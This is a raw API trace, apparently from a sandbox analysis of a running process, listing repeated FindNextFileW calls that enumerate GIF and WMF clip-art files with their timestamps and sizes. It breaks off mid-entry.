1 [0217.665] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45328f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf45328f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf4794eb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x30c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00129_.GIF", cAlternateFileName="")) returned 1 [0217.665] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45328f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf45328f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf45328f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1485, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00130_.GIF", cAlternateFileName="")) returned 1 [0217.665] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45328f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf45328f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf45328f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00135_.GIF", cAlternateFileName="")) returned 1 [0217.665] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x296f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00139_.GIF", cAlternateFileName="")) returned 1 [0217.666] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45328f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf45328f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf45328f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3bcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00142_.GIF", cAlternateFileName="")) returned 1 [0217.666] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00154_.GIF", cAlternateFileName="")) returned 1 [0217.666] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00157_.GIF", cAlternateFileName="")) returned 1 [0217.666] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00158_.GIF", cAlternateFileName="")) returned 1 [0217.666] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x47a, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00160_.GIF", cAlternateFileName="")) returned 1 [0217.666] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1d9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00161_.GIF", cAlternateFileName="")) returned 1 [0217.666] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b48, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00163_.GIF", cAlternateFileName="")) returned 1 [0217.666] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x33c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00164_.GIF", cAlternateFileName="")) returned 1 [0217.666] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2186, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00165_.GIF", cAlternateFileName="")) returned 1 [0217.666] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x131e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00167_.GIF", cAlternateFileName="")) returned 1 [0217.666] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb3c2ce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00169_.GIF", cAlternateFileName="")) returned 1 [0217.667] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2420, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00170_.GIF", cAlternateFileName="")) returned 1 [0217.667] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1398, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00171_.GIF", cAlternateFileName="")) returned 1 [0217.667] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1126, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00172_.GIF", cAlternateFileName="")) returned 1 [0217.667] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00174_.GIF", cAlternateFileName="")) returned 1 [0217.667] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd32, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00175_.GIF", cAlternateFileName="")) returned 1 [0217.667] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc30, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00176_.GIF", cAlternateFileName="")) returned 1 [0217.681] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00010_.WMF", cAlternateFileName="")) returned 1 [0217.681] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x127e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00015_.WMF", cAlternateFileName="")) returned 1 [0217.681] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1634, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00790_.WMF", cAlternateFileName="")) returned 1 [0217.681] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5062, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00853_.WMF", cAlternateFileName="")) returned 1 [0217.681] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2a50, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00914_.WMF", cAlternateFileName="")) returned 1 [0217.681] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x385c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00932_.WMF", cAlternateFileName="")) returned 1 [0217.682] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00965_.WMF", cAlternateFileName="")) returned 1 [0217.682] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd10, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01039_.WMF", cAlternateFileName="")) returned 1 [0217.682] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x63c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01044_.WMF", cAlternateFileName="")) returned 1 [0217.682] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f20, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01060_.WMF", cAlternateFileName="")) returned 1 [0217.682] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x728, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01084_.WMF", cAlternateFileName="")) returned 1 [0217.682] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x66dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01173_.WMF", cAlternateFileName="")) returned 1 [0217.682] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6cd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01174_.WMF", cAlternateFileName="")) returned 1 [0217.683] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xea2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01184_.WMF", cAlternateFileName="")) returned 1 [0217.683] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x16cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01216_.WMF", cAlternateFileName="")) returned 1 [0217.683] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01218_.WMF", cAlternateFileName="")) returned 1 [0217.683] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xac4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01251_.WMF", cAlternateFileName="")) returned 1 [0217.683] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1ccc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01545_.WMF", cAlternateFileName="")) returned 1 [0217.683] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc63b1c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc63b1c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1d74, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN02122_.WMF", cAlternateFileName="")) returned 1 [0217.683] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc63b1c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc63b1c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc63b1c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x19e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN02559_.WMF", cAlternateFileName="")) returned 1 [0217.683] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc89dc9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x83c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN02724_.WMF", cAlternateFileName="")) returned 1 [0217.684] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc63b1c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2418, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN03500_.WMF", cAlternateFileName="")) returned 1 [0217.684] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc63b1c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x928, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04108_.WMF", cAlternateFileName="")) returned 1 [0217.684] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x17ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04117_.WMF", cAlternateFileName="")) returned 1 [0217.684] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc63b1c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd58, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04134_.WMF", cAlternateFileName="")) returned 1 [0217.684] FindNextFileW 